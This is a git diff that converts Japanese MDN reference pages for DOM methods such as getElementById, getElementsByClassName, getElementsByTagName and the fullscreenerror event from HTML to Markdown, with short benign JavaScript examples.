  • Fullscreen API ガイド
  • -
  • {{domxref("Element.requestFullscreen()")}}
  • -
  • {{domxref("Document.exitFullscreen()")}}
  • -
  • {{domxref("Document.fullscreenElement")}}
  • -
  • {{cssxref(":fullscreen")}} および {{cssxref("::backdrop")}}
  • -
  • {{HTMLElement("iframe")}} 要素の {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性
  • -
+- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API ガイド](/ja/docs/Web/API/Fullscreen_API/Guide) +- {{domxref("Element.requestFullscreen()")}} +- {{domxref("Document.exitFullscreen()")}} +- {{domxref("Document.fullscreenElement")}} +- {{cssxref(":fullscreen")}} および {{cssxref("::backdrop")}} +- {{HTMLElement("iframe")}} 要素の {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性 diff --git a/files/ja/web/api/document/fullscreenerror_event/index.md b/files/ja/web/api/document/fullscreenerror_event/index.md index 7459024c5d3c9e..37e3205da8884b 100644 --- a/files/ja/web/api/document/fullscreenerror_event/index.md +++ b/files/ja/web/api/document/fullscreenerror_event/index.md @@ -11,71 +11,62 @@ tags: - fullscreenerror translation_of: Web/API/Document/fullscreenerror_event --- -

{{APIRef}}

+{{APIRef}} -

fullscreenerror イベントは、ブラウザーが全画面モードに移行できないときに発生します。

+`fullscreenerror` イベントは、ブラウザーが全画面モードに移行できないときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document.onfullscreenerror", "onfullscreenerror")}}
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("Document.onfullscreenerror", "onfullscreenerror")}} +
-

{{domxref("Document/fullscreenchange_event", "fullscreenchange")}} イベントと同様、二つの fullscreenerror イベントが発行されます。一つ目はモード切替に失敗した {{domxref("Element")}} へ送られ、二つ目はその要素を所有する {{domxref("Document")}} へ送られます。

+{{domxref("Document/fullscreenchange_event", "fullscreenchange")}} イベントと同様、二つの `fullscreenerror` イベントが発行されます。一つ目はモード切替に失敗した {{domxref("Element")}} へ送られ、二つ目はその要素を所有する {{domxref("Document")}} へ送られます。 -

全画面モードへの切り替えに失敗する理由については、全画面 API のガイドを参照してください。

+全画面モードへの切り替えに失敗する理由については、[全画面 API のガイド](/ja/docs/Web/API/Fullscreen_API/Guide)を参照してください。 -

+## 例 -
const requestor = document.querySelector('div');
+```js
+const requestor = document.querySelector('div');
 
-document.addEventListener('fullscreenerror', (event) => {
+document.addEventListener('fullscreenerror', (event) => {
   console.error('an error occurred changing into fullscreen');
   console.log(event);
 });
 
-requestor.requestFullscreen();
+requestor.requestFullscreen(); +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}
+| 仕様書 | 状態 | +| ------------------------------------ | -------------------------------- | +| {{SpecName("Fullscreen")}} | {{Spec2("Fullscreen")}} | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.fullscreenerror_event")}}

+{{Compat("api.Document.fullscreenerror_event")}} -

関連情報

+## 関連情報 - +- {{domxref("Document/fullscreenchange_event", "fullscreenchange")}} +- [Fullscreen API](/ja/docs/Web/API/Fullscreen_API) +- [Fullscreen API のガイド](/ja/docs/Web/API/Fullscreen_API/Guide) diff --git a/files/ja/web/api/document/getanimations/index.md b/files/ja/web/api/document/getanimations/index.md index a99523a92d9ae1..b91d6c7185787f 100644 --- a/files/ja/web/api/document/getanimations/index.md +++ b/files/ja/web/api/document/getanimations/index.md @@ -19,62 +19,50 @@ tags: translation_of: Web/API/DocumentOrShadowRoot/getAnimations original_slug: Web/API/DocumentOrShadowRoot/getAnimations --- -

{{ SeeCompatTable() }}{{APIRef("Web Animations")}}

+{{ SeeCompatTable() }}{{APIRef("Web Animations")}} -

getAnimations() メソッドは {{domxref("Document")}} インターフェイスのメソッドで、この文書の配下にあるターゲット要素にあるすべての {{domxref("Animation")}} オブジェクトの配列を返します。この配列には CSS アニメーション, CSS トランジション, ウェブアニメーション が含まれます。

+`getAnimations()` メソッドは {{domxref("Document")}} インターフェイスのメソッドで、この文書の配下にあるターゲット要素にあるすべての {{domxref("Animation")}} オブジェクトの配列を返します。この配列には [CSS アニメーション](/ja/docs/Web/CSS/CSS_Animations), [CSS トランジション](/ja/docs/Web/CSS/CSS_Transitions), [ウェブアニメーション](/ja/docs/Web/API/Web_Animations_API) が含まれます。 -

構文

+## 構文 -
var allAnimations = Document.getAnimations();
-
+``` +var allAnimations = Document.getAnimations(); +``` -

引数

+### 引数 -

なし。

+なし。 -

返値

+### 返値 -

{{domxref("Animation")}} オブジェクトの {{jsxref("Array")}} で、それぞれの要素は呼び出された {{domxref("Document")}} の配下にある要素に現在関連付けられているアニメーション1つを表します。

+{{domxref("Animation")}} オブジェクトの {{jsxref("Array")}} で、それぞれの要素は呼び出された {{domxref("Document")}} の配下にある要素に現在関連付けられているアニメーション 1 つを表します。 -

+## 例 -

次のコードスニペットは、ページ上のすべてのアニメーションの {{domxref("Animation.playbackRate")}} を半分にすることで速度をゆっくりにします。

+次のコードスニペットは、ページ上のすべてのアニメーションの {{domxref("Animation.playbackRate")}} を半分にすることで速度をゆっくりにします。 -
document.getAnimations().forEach(
+```js
+document.getAnimations().forEach(
   function (animation) {
     animation.playbackRate *= .5;
   }
-);
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Web Animations', '#dom-documentorshadowroot-getanimations', 'document.getAnimations()' )}}{{Spec2('Web Animations')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.getAnimations")}}

- -

関連情報

- - +); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ---- | +| {{SpecName('Web Animations', '#dom-documentorshadowroot-getanimations', 'document.getAnimations()' )}} | {{Spec2('Web Animations')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.getAnimations")}} + +## 関連情報 + +- [ウェブアニメーション API](/ja/docs/Web/API/Web_Animations_API) +- [CSS アニメーション](/ja/docs/Web/CSS/CSS_Animations) +- [CSS トランジション](/ja/docs/Web/CSS/CSS_Transitions) +- {{domxref("Element.getAnimations()")}} - 単一の要素 ({{domxref("Element")}}) とその子孫にあるアニメーションのみを読み取る +- {{domxref("Animation")}} diff --git a/files/ja/web/api/document/getelementbyid/index.md b/files/ja/web/api/document/getelementbyid/index.md index 6bf6b57b9777f5..7dda8222c66573 100644 --- a/files/ja/web/api/document/getelementbyid/index.md +++ b/files/ja/web/api/document/getelementbyid/index.md @@ -13,137 +13,116 @@ tags: - id translation_of: Web/API/Document/getElementById --- -
{{ ApiRef("DOM") }}
+{{ ApiRef("DOM") }} -

{{domxref("Document")}} の getElementById() メソッドは、 {{domxref("Element.id", "id")}} プロパティが指定された文字列に一致する要素を表す {{domxref("Element")}} オブジェクトを返します。要素の ID は指定されていれば固有であることが求められているため、特定の要素にすばやくアクセスするには便利な方法です。

+{{domxref("Document")}} の **`getElementById()`** メソッドは、 {{domxref("Element.id", "id")}} プロパティが指定された文字列に一致する要素を表す {{domxref("Element")}} オブジェクトを返します。要素の ID は指定されていれば固有であることが求められているため、特定の要素にすばやくアクセスするには便利な方法です。 -

ID を持たない要素にアクセスする必要がある場合は、 {{domxref("Document.querySelector", "querySelector()")}} で何らかの{{Glossary("CSS selector", "セレクター")}}を使用して要素を検索することができます。

+ID を持たない要素にアクセスする必要がある場合は、 {{domxref("Document.querySelector", "querySelector()")}} で何らかの{{Glossary("CSS selector", "セレクター")}}を使用して要素を検索することができます。 -

構文

+## 構文 -
var element = document.getElementById(id);
-
+``` +var element = document.getElementById(id); +``` -

引数

+### 引数 -
-
id
-
探す要素の ID です。 ID は大文字と小文字の区別がある文字列で、文書内で固有です。指定された ID の要素は一つしかありません。
-
+- `id` + - : 探す要素の ID です。 ID は大文字と小文字の区別がある文字列で、文書内で固有です。指定された ID の要素は一つしかありません。 -

返値

+### 返値 -

指定された ID に一致する DOM 要素オブジェクトを記述した {{domxref("Element")}} オブジェクト、または文書内に一致する要素がなければ null です。

+指定された ID に一致する DOM 要素オブジェクトを記述した {{domxref("Element")}} オブジェクト、または文書内に一致する要素がなければ `null` です。 -

+## 例 -

HTML

+### HTML -
<html>
-<head>
-  <title>getElementById example</title>
-</head>
-<body>
-  <p id="para">Some text here</p>
-  <button onclick="changeColor('blue');">blue</button>
-  <button onclick="changeColor('red');">red</button>
-</body>
-</html>
+```html + + + getElementById example + + +

Some text here

+ + + + +``` -

JavaScript

+### JavaScript -
function changeColor(newColor) {
+```js
+function changeColor(newColor) {
   var elem = document.getElementById('para');
   elem.style.color = newColor;
-}
+} +``` -

結果

+### 結果 -

{{ EmbedLiveSample('Example', 250, 100) }}

+{{ EmbedLiveSample('Example', 250, 100) }} -

使用上のメモ

+## 使用上のメモ -

コードが機能するためには、メソッドの名前の中の "Id" は、大文字と小文字を正しく表記しなければなりませんgetElementByID() は自然に見えますが、妥当ではなく動作しません。

+コードが機能するためには、メソッドの名前の中の `"Id"` は、大文字と小文字を正しく表記し*なければなりません*。 `getElementByID()` は自然に見えますが、妥当では*なく*動作しません。 -

{{domxref("Document.querySelector()")}} や {{domxref("Document.querySelectorAll()")}} などの他の要素検索メソッドとは異なり、 getElementById() はグローバルの document オブジェクトに対してのみ利用可能であり、 DOM のすべての要素オブジェクトのメソッドとしては利用できません。 ID の値は文書全体を通して固有でなければならないため、機能の「ローカル」バージョンは必要ないのです。

+{{domxref("Document.querySelector()")}} や {{domxref("Document.querySelectorAll()")}} などの他の要素検索メソッドとは異なり、 `getElementById()` はグローバルの `document` オブジェクトに対してのみ利用可能であり、 DOM のすべての要素オブジェクトのメソッドとしては利用*できません*。 ID の値は文書全体を通して固有でなければならないため、機能の「ローカル」バージョンは必要ないのです。 -

+## 例 -
<!doctype html>
-<html>
-<head>
-    <meta charset="UTF-8">
-    <title>Document</title>
-</head>
-<body>
-    <div id="parent-id">
-        <p>hello word1</p>
-        <p id="test1">hello word2</p>
-        <p>hello word3</p>
-        <p>hello word4</p>
-    </div>
-    <script>
+```
+
+
+
+    
+    Document
+
+
+    
+

hello word1

+

hello word2

+

hello word3

+

hello word4

+
+ + + +``` -

もし指定された id を持つ要素がなければ、この関数は null を返します。なお、 id 引数は大文字小文字の区別があるため、 document.getElementById("Main")<div id="main"> 要素の代わりに null を返し、これは "M" と "m" がこのメソッドの目的では区別されるためです。

+もし指定された `id` を持つ要素がなければ、この関数は `null` を返します。なお、 `id` 引数は大文字小文字の区別があるため、 `document.getElementById("Main")` は `
` 要素の代わりに `null` を返し、これは "M" と "m" がこのメソッドの目的では区別されるためです。 -

文書内にない要素getElementById() で検索されません。要素を作成し ID を割り当てたとき、 getElementById() でアクセスする前に {{domxref("Node.insertBefore()")}} またはそのたぐいのメソッドで、要素を文書ツリーに挿入しておく必要があります。

+**文書内にない要素** は `getElementById()` で検索されません。要素を作成し ID を割り当てたとき、 `getElementById()` でアクセスする前に {{domxref("Node.insertBefore()")}} またはそのたぐいのメソッドで、要素を文書ツリーに挿入しておく必要があります。 -
var element = document.createElement('div');
+```js
+var element = document.createElement('div');
 element.id = 'testqq';
 var el = document.getElementById('testqq'); // el は null になります
-
- -

HTML 以外の文書の場合。 DOM の実装では、どの属性が ID 類であるかを示す情報が必要です。 "id" という名前の属性は、文書の DTD で定義されていない限り ID 類とみなされません。 id 属性は XHTML, XUL などの一般的な場合には ID 類として定義されています。属性が ID 類であるかどうかが分からない実装では、 null を返すでしょう。

- -

仕様書

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}{{Spec2('DOM1')}}インターフェイスの初回定義
{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM2 Core')}}DOM 1 の置き換え
{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM3 Core')}}DOM 2 の置き換え
{{SpecName('DOM WHATWG','#dom-nonelementparentnode-getelementbyid','getElementById')}}{{Spec2('DOM WHATWG')}}DOM 3 を置き換える予定
- -

ブラウザーの互換性

- -

{{Compat("api.Document.getElementById")}}

- -

関連情報

- -
    -
  • {{domxref("Document")}}: 文書内で要素への参照を取得するために使うことができる他のメソッドやプロパティで使用するための参照。
  • -
  • {{domxref("Document.querySelector()")}}: 'div.myclass' のようなセレクターを通したクエリのためのもの。
  • -
  • xml:id - getElementById() による XML 文書 (Ajax 呼び出しによって返されるものなど) の 'xml:id' の取得を可能とする便利なメソッドを持つ
  • -
+``` + +**HTML 以外の文書**の場合。 DOM の実装では、どの属性が ID 類であるかを示す情報が必要です。 "id" という名前の属性は、文書の DTD で定義されていない限り ID 類とみなされません。 `id` 属性は [XHTML](/ja/docs/XHTML), [XUL](/ja/docs/XUL) などの一般的な場合には ID 類として定義されています。属性が ID 類であるかどうかが分からない実装では、 `null` を返すでしょう。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------------- | +| {{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}} | {{Spec2('DOM1')}} | インターフェイスの初回定義 | +| {{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}} | {{Spec2('DOM2 Core')}} | DOM 1 の置き換え | +| {{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}} | {{Spec2('DOM3 Core')}} | DOM 2 の置き換え | +| {{SpecName('DOM WHATWG','#dom-nonelementparentnode-getelementbyid','getElementById')}} | {{Spec2('DOM WHATWG')}} | DOM 3 を置き換える予定 | + +## ブラウザーの互換性 + +{{Compat("api.Document.getElementById")}} + +## 関連情報 + +- {{domxref("Document")}}: 文書内で要素への参照を取得するために使うことができる他のメソッドやプロパティで使用するための参照。 +- {{domxref("Document.querySelector()")}}: `'div.myclass'` のようなセレクターを通したクエリのためのもの。 +- [xml:id](/ja/docs/xml/xml:id) - `getElementById()` による XML 文書 (Ajax 呼び出しによって返されるものなど) の 'xml:id' の取得を可能とする便利なメソッドを持つ diff --git a/files/ja/web/api/document/getelementsbyclassname/index.md b/files/ja/web/api/document/getelementsbyclassname/index.md index 956a475919062a..7283791ed6b74a 100644 --- a/files/ja/web/api/document/getelementsbyclassname/index.md +++ b/files/ja/web/api/document/getelementsbyclassname/index.md @@ -12,89 +12,104 @@ tags: - メソッド translation_of: Web/API/Document/getElementsByClassName --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

{{domxref("Document")}} インターフェイスの getElementsByClassName メソッドは、指定されたクラス名をすべて持つすべての子要素の配列風オブジェクトを返します。 {{domxref("document")}} オブジェクトに対して呼び出したときは、ルートノードを含む文書全体が検索されます。任意の要素に対して {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} を呼び出すこともできます。その場合は、指定されたルート要素下の指定されたクラス名を持つ要素だけを返します。

+{{domxref("Document")}} インターフェイスの **`getElementsByClassName`** メソッドは、指定されたクラス名をすべて持つすべての子要素の配列風オブジェクトを返します。 {{domxref("document")}} オブジェクトに対して呼び出したときは、ルートノードを含む文書全体が検索されます。任意の要素に対して {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} を呼び出すこともできます。その場合は、指定されたルート要素下の指定されたクラス名を持つ要素だけを返します。 -

構文

+## 構文 -
var elements = document.getElementsByClassName(names); // または
-var elements = rootElement.getElementsByClassName(names);
+``` +var elements = document.getElementsByClassName(names); // または +var elements = rootElement.getElementsByClassName(names); +``` -
    -
  • elements は、見つかった要素の生きた {{domxref("HTMLCollection")}} です。
  • -
  • names は文字列で、一致させるクラス名を表します。複数のクラス名はホワイトスペースで区切ります。
  • -
  • {{domxref("Element.getElementsByClassName", "getElementsByClassName")}} は、 {{domxref("document")}} だけでなく、任意の要素に対して呼び出すことができます。呼び出した要素が検索のルートとして使われます。
  • -
+- _elements_ は、見つかった要素の生きた {{domxref("HTMLCollection")}} です。 +- _names_ は文字列で、一致させるクラス名を表します。複数のクラス名はホワイトスペースで区切ります。 +- {{domxref("Element.getElementsByClassName", "getElementsByClassName")}} は、 {{domxref("document")}} だけでなく、任意の要素に対して呼び出すことができます。呼び出した要素が検索のルートとして使われます。 -

+## 例 -

'test' クラスを持つすべての要素を取得します。

+'test' クラスを持つすべての要素を取得します。 -
document.getElementsByClassName('test')
+```js +document.getElementsByClassName('test') +``` -

'red' および 'test' クラスを両方持つすべての要素を取得します。

+'red' および 'test' クラスを両方持つすべての要素を取得します。 -
document.getElementsByClassName('red test')
+```js +document.getElementsByClassName('red test') +``` -

'main' という ID を持った要素の中にある、 'text' クラスを持つすべての要素を取得します。

+'main' という ID を持った要素の中にある、 'text' クラスを持つすべての要素を取得します。 -
document.getElementById('main').getElementsByClassName('test')
+```js +document.getElementById('main').getElementsByClassName('test') +``` -

'test' クラスを持つ最初の要素を取得し、一致する要素がなければ undefined になります。

+'test' クラスを持つ最初の要素を取得し、一致する要素がなければ `undefined` になります。 -
document.getElementsByClassName('test')[0]
+```js +document.getElementsByClassName('test')[0] +``` -

メソッドの this 値として {{domxref("HTMLCollection")}} を渡すことで、 Array プロトタイプのメソッドを HTMLCollection で使用することができます。ここでは、 'test' クラスを持つすべての div 要素を検索します。

+メソッドの _this_ 値として {{domxref("HTMLCollection")}} を渡すことで、 Array プロトタイプのメソッドを `HTMLCollection` で使用することができます。ここでは、 'test' クラスを持つすべての div 要素を検索します。 -
var testElements = document.getElementsByClassName('test');
+```js
+var testElements = document.getElementsByClassName('test');
 var testDivs = Array.prototype.filter.call(testElements, function(testElement){
   return testElement.nodeName === 'DIV';
-});
+}); +``` -

クラスが 'test' である最初の要素を取得する

+### クラスが 'test' である最初の要素を取得する -

これは最もよく使われる操作のメソッドです。

+これは最もよく使われる操作のメソッドです。 -
<html>
-<body>
-    <div id="parent-id">
-        <p>hello world 1</p>
-        <p class="test">hello world 2</p>
-        <p>hello world 3</p>
-        <p>hello world 4</p>
-    </div>
+```
+
+
+    
+

hello world 1

+

hello world 2

+

hello world 3

+

hello world 4

+
- <script> + + + +``` -

複数のクラスの例

+### 複数のクラスの例 -

document.getElementsByClassNamedocument.querySelectordocument.querySelectorAll ととても似た動きをします。指定されたクラス名がすべてある要素のみが選択されます。

+`document.getElementsByClassName` は `document.querySelector` や `document.querySelectorAll` ととても似た動きをします。指定されたクラス名がすべてある要素のみが選択されます。 -

HTML

+#### HTML -
<span class="orange fruit">Orange Fruit</span>
-<span class="orange juice">Orange Juice</span>
-<span class="apple juice">Apple Juice</span>
-<span class="foo bar">Something Random</span>
-<textarea id="resultArea" style="width:98%;height:7em"></textarea>
+```html +Orange Fruit +Orange Juice +Apple Juice +Something Random + +``` -

JavaScript

+#### JavaScript -
// getElementsByClassName は指定された両方のクラスを持つ要素のみを選択する
+```js
+// getElementsByClassName は指定された両方のクラスを持つ要素のみを選択する
 var allOrangeJuiceByClass = document.getElementsByClassName('orange juice');
 var result = "document.getElementsByClassName('orange juice')";
-for (var i=0, len=allOrangeJuiceByClass.length|0; i<len; i=i+1|0) {
+for (var i=0, len=allOrangeJuiceByClass.length|0; i
+document.getElementById("resultArea").value = result;
+```
 
-

結果

+#### 結果 -

{{EmbedLiveSample('Multiple_Classes_Example', '100%', 200)}}

+{{EmbedLiveSample('Multiple_Classes_Example', '100%', 200)}} -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-getelementsbyclassname', 'document.getElementsByClassName')}}{{Spec2('DOM WHATWG')}}
+| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-getelementsbyclassname', 'document.getElementsByClassName')}} | {{Spec2('DOM WHATWG')}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.getElementsByClassName")}}

+{{Compat("api.Document.getElementsByClassName")}} diff --git a/files/ja/web/api/document/getelementsbyname/index.md b/files/ja/web/api/document/getelementsbyname/index.md index becea76e8cd989..e3db70843840fd 100644 --- a/files/ja/web/api/document/getelementsbyname/index.md +++ b/files/ja/web/api/document/getelementsbyname/index.md @@ -12,86 +12,61 @@ tags: - メソッド translation_of: Web/API/Document/getElementsByName --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

{{domxref("Document")}} オブジェクトの getElementsByName() メソッドは、文書内で指定した {{domxref("element.name","name")}} を持つ要素の {{domxref("NodeList")}} コレクションを返します。

+{{domxref("Document")}} オブジェクトの **`getElementsByName()`** メソッドは、文書内で指定した {{domxref("element.name","name")}} を持つ要素の {{domxref("NodeList")}} コレクションを返します。 -

構文

+## 構文 -
var elements = document.getElementsByName(name);
-
+``` +var elements = document.getElementsByName(name); +``` -
    -
  • elements は、生きた {{domxref("NodeList")}} コレクション、つまり文書内で同じ name を持った新しい要素が追加されたり削除されたりすると自動的に更新されるものです。
  • -
  • name は、要素の name 属性の値です。
  • -
+- _elements_ は、生きた {{domxref("NodeList")}} コレクション、つまり文書内で同じ `name` を持った新しい要素が追加されたり削除されたりすると自動的に更新されるものです。 +- `name` は、要素の `name` 属性の値です。 -

+## 例 -
<!DOCTYPE html>
-<html lang="en">
-<title>document.getElementsByName の使用例</title>
+```html
+
+
+document.getElementsByName の使用例
 
-<input type="hidden" name="up">
-<input type="hidden" name="down">
+
+
 
-<script>
+
+
+```
+
+## メモ
+
+{{domxref("element.name","name")}} 属性は、(X)HTML 文書にのみ適用可能です。
+
+返却された {{domxref("NodeList")}} コレクションには、 {{htmlelement("meta")}} や {{htmlelement("object")}} など、それに `name` 属性にまったく対応していない要素も含め、指定された `name` を持つ*すべての*要素が含まれます。
+
+> **Warning:** **getElementsByName** メソッドは、 IE10 以前では動作が異なります。この場合、 `getElementsByName()` は指定された [`id` 属性](/ja/docs/Web/HTML/Global_attributes/id)を持つ要素も返します。 `name` および `id` で同じ文字列を使用しないように注意してください。
+
+> **Warning:** **getElementsByName** メソッドは IE では動作が異なります。この場合、 `getElementsByName()` は `name` 属性を許容しない要素 (`` など) を返しません。
+
+> **Warning:** IE および Edge では、 {{domxref("NodeList")}} ではなく {{domxref("HTMLCollection")}} を返します。
+
+## 仕様書
+
+| 仕様書                                                                                                                       | 状態                                 | 備考     |
+| ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | -------- |
+| {{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}} | {{ Spec2('HTML WHATWG') }} |          |
+| {{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}                 | {{Spec2("DOM2 HTML")}}         | 初回定義 |
+
+## ブラウザーの対応
+
+{{Compat("api.Document.getElementsByName")}}
+
+## 関連情報
+
+- {{domxref("document.getElementById()")}} : 固有の `id` を持つ要素への参照を返す
+- {{domxref("document.getElementsByTagName()")}} : 同じ[タグ名](/ja/docs/Web/API/Element/tagName)の要素への参照を返す
+- {{domxref("document.querySelector()")}} : `'div.myclass'` のような CSS セレクターによって要素への参照をかえす
diff --git a/files/ja/web/api/document/getelementsbytagname/index.md b/files/ja/web/api/document/getelementsbytagname/index.md
index a17a973739e01b..7f5a1e3228dcfa 100644
--- a/files/ja/web/api/document/getelementsbytagname/index.md
+++ b/files/ja/web/api/document/getelementsbytagname/index.md
@@ -8,33 +8,34 @@ tags:
   - Reference
 translation_of: Web/API/Document/getElementsByTagName
 ---
-
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

getElementsByTagName は {{domxref("Document")}} インターフェイスのメソッドで、指定されたタグ名を持つ要素の {{domxref("HTMLCollection")}} を返します。ルートノードを含めた文書全体が検索されます。返された HTMLCollection は生きたものであり、つまり document.getElementsByTagName() を再度呼び出さなくても DOM ツリーと同期を取り続けるよう、自動的に自分自身を更新します。.

+**`getElementsByTagName`** は {{domxref("Document")}} インターフェイスのメソッドで、指定されたタグ名を持つ要素の {{domxref("HTMLCollection")}} を返します。ルートノードを含めた文書全体が検索されます。返された `HTMLCollection` は生きたものであり、つまり `document.getElementsByTagName()` を再度呼び出さなくても DOM ツリーと同期を取り続けるよう、自動的に自分自身を更新します。. -

構文

+## 構文 -
var elements = document.getElementsByTagName(name);
+``` +var elements = document.getElementsByTagName(name); +``` -
    -
  • elements は生きた {{domxref("HTMLCollection")}} であり、見つかった要素がツリーに出現する順に並んでいます (ただし、下記のメモを見てください)。
  • -
  • name は文字列で、要素の名前を表します。特殊な文字列 "*" は全ての要素を表します。
  • -
+- _elements_ は生きた {{domxref("HTMLCollection")}} であり、見つかった要素がツリーに出現する順に並んでいます (ただし、下記のメモを見てください)。 +- _name_ は文字列で、要素の名前を表します。特殊な文字列 "\*" は全ての要素を表します。 -
最新の W3C 仕様書 では elementsHTMLCollection です。しかし、 WebKit ブラウザーではこのメソッドは {{domxref("NodeList")}} を返します。詳しくは {{bug(14869)}} を見てください。
+> **Note:** [最新の W3C 仕様書](https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html) では `elements` は `HTMLCollection` です。しかし、 WebKit ブラウザーではこのメソッドは {{domxref("NodeList")}} を返します。詳しくは {{bug(14869)}} を見てください。 -

+## 例 -

以下の例では、 getElementsByTagName() は特定の親要素から開始し、その親要素から DOM を上から下へ再帰的に検索し、タグが name パラメータと一致する子要素を探します。これは document.getElementsByTagName() と、機能的に同等な {{domxref("Element.getElementsByTagName()")}} は、 DOM ツリー内の特定の要素から検索を始めることを示します。

+以下の例では、 `getElementsByTagName()` は特定の親要素から開始し、その親要素から DOM を上から下へ再帰的に検索し、タグが `name` パラメータと一致する子要素を探します。これは `document.getElementsByTagName()` と、機能的に同等な {{domxref("Element.getElementsByTagName()")}} は、 DOM ツリー内の特定の要素から検索を始めることを示します。 -

ボタンをクリックすると getElementsByTagName() を使用して、特定の親 (文書自体または2つの {{HTMLElement("div")}} 要素の何れかに囲まれたもの) の子孫の段落要素を数えます。

+ボタンをクリックすると `getElementsByTagName()` を使用して、特定の親 (文書自体または 2 つの {{HTMLElement("div")}} 要素の何れかに囲まれたもの) の子孫の段落要素を数えます。 -
<!DOCTYPE html>
-<html lang="en">
-<head>
-  <meta charset="UTF-8" />
-  <title>getElementsByTagName example</title>
-  <script>
+```html
+
+
+
+  
+  getElementsByTagName example
+  
+
+
+  

Some outer text

+

Some outer text

+ +
+

Some div1 text

+

Some div1 text

+

Some div1 text

+ +
+

Some div2 text

+

Some div2 text

+
+
+ +

Some outer text

+

Some outer text

+ +
+ +
+ + + + + +``` + +## 注 + +HTML 文書上で呼び出された場合、 `getElementsByTagName()` は処理前に引数を小文字に変換します。これは HTML 文書内のサブツリーにあるキャメルケースの SVG 要素に一致させようとする場合には望ましくありません。この場合は {{Domxref("document.getElementsByTagNameNS()")}} が便利です。 {{Bug(499656)}} を参照してください。 + +`document.getElementsByTagName()` は、検索が文書全体を含むという点以外は {{domxref("Element.getElementsByTagName()")}} と類似しています。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG','#dom-document-getelementsbytagname','document.getElementsByTagName')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.getElementsByTagName")}} + +## 関連情報 + +- {{domxref("Element.getElementsByTagName()")}} +- {{domxref("document.getElementById()")}} : `id` によって検索した要素への参照を返す +- {{domxref("document.getElementsByName()")}} : `name` によって検索した要素への参照を返す +- {{domxref("document.querySelector()")}} : `'div.myclass'` のような CSS セレクターによって要素への参照を返す diff --git a/files/ja/web/api/document/getelementsbytagnamens/index.md b/files/ja/web/api/document/getelementsbytagnamens/index.md index f082bfb75fbf43..64cee764cdde82 100644 --- a/files/ja/web/api/document/getelementsbytagnamens/index.md +++ b/files/ja/web/api/document/getelementsbytagnamens/index.md @@ -11,110 +11,111 @@ tags: - getElementsByTagNameNS translation_of: Web/API/Document/getElementsByTagNameNS --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

指定された名前空間の指定されたタグ名を持つ要素のリストを返します。ルートノードを含め、文書全体が検索されます。

+指定された名前空間の指定されたタグ名を持つ要素のリストを返します。ルートノードを含め、文書全体が検索されます。 -

構文

+## 構文 -
elements = document.getElementsByTagNameNS(namespace, name)
-
+``` +elements = document.getElementsByTagNameNS(namespace, name) +``` -
    -
  • elements は見つかった要素の生きた {{DOMxRef("NodeList")}} (但し下記のメモを参照) で、ツリーに現れる順です。
  • -
  • namespace は検索する要素の名前空間 URI です ({{domxref("Node.namespaceURI", "element.namespaceURI")}} を参照)。
  • -
  • name は検索する要素の局所名、またはすべての要素に一致する特殊な値 * です ({{domxref("Node.localName", "element.localName")}} を参照)。
  • -
+- _elements_ は見つかった要素の生きた {{DOMxRef("NodeList")}} (但し下記のメモを参照) で、ツリーに現れる順です。 +- _namespace_ は検索する要素の名前空間 URI です ({{domxref("Node.namespaceURI", "element.namespaceURI")}} を参照)。 +- _name_ は検索する要素の局所名、またはすべての要素に一致する特殊な値 `*` です ({{domxref("Node.localName", "element.localName")}} を参照)。 -

注: W3C の仕様書では elementsNodeList であるとされていますが、 Gecko および Internet Explorer ではこのメソッドは {{DOMxRef("HTMLCollection")}} を返します。 Opera は NodeList を返しますが、 namedItem メソッドを実装しているので、 HTMLCollection と同様になります。2012年1月時点で、 WebKit ブラウザーのみが純粋な NodeList の値を返します。詳しくは bug 14869 を参照してください。

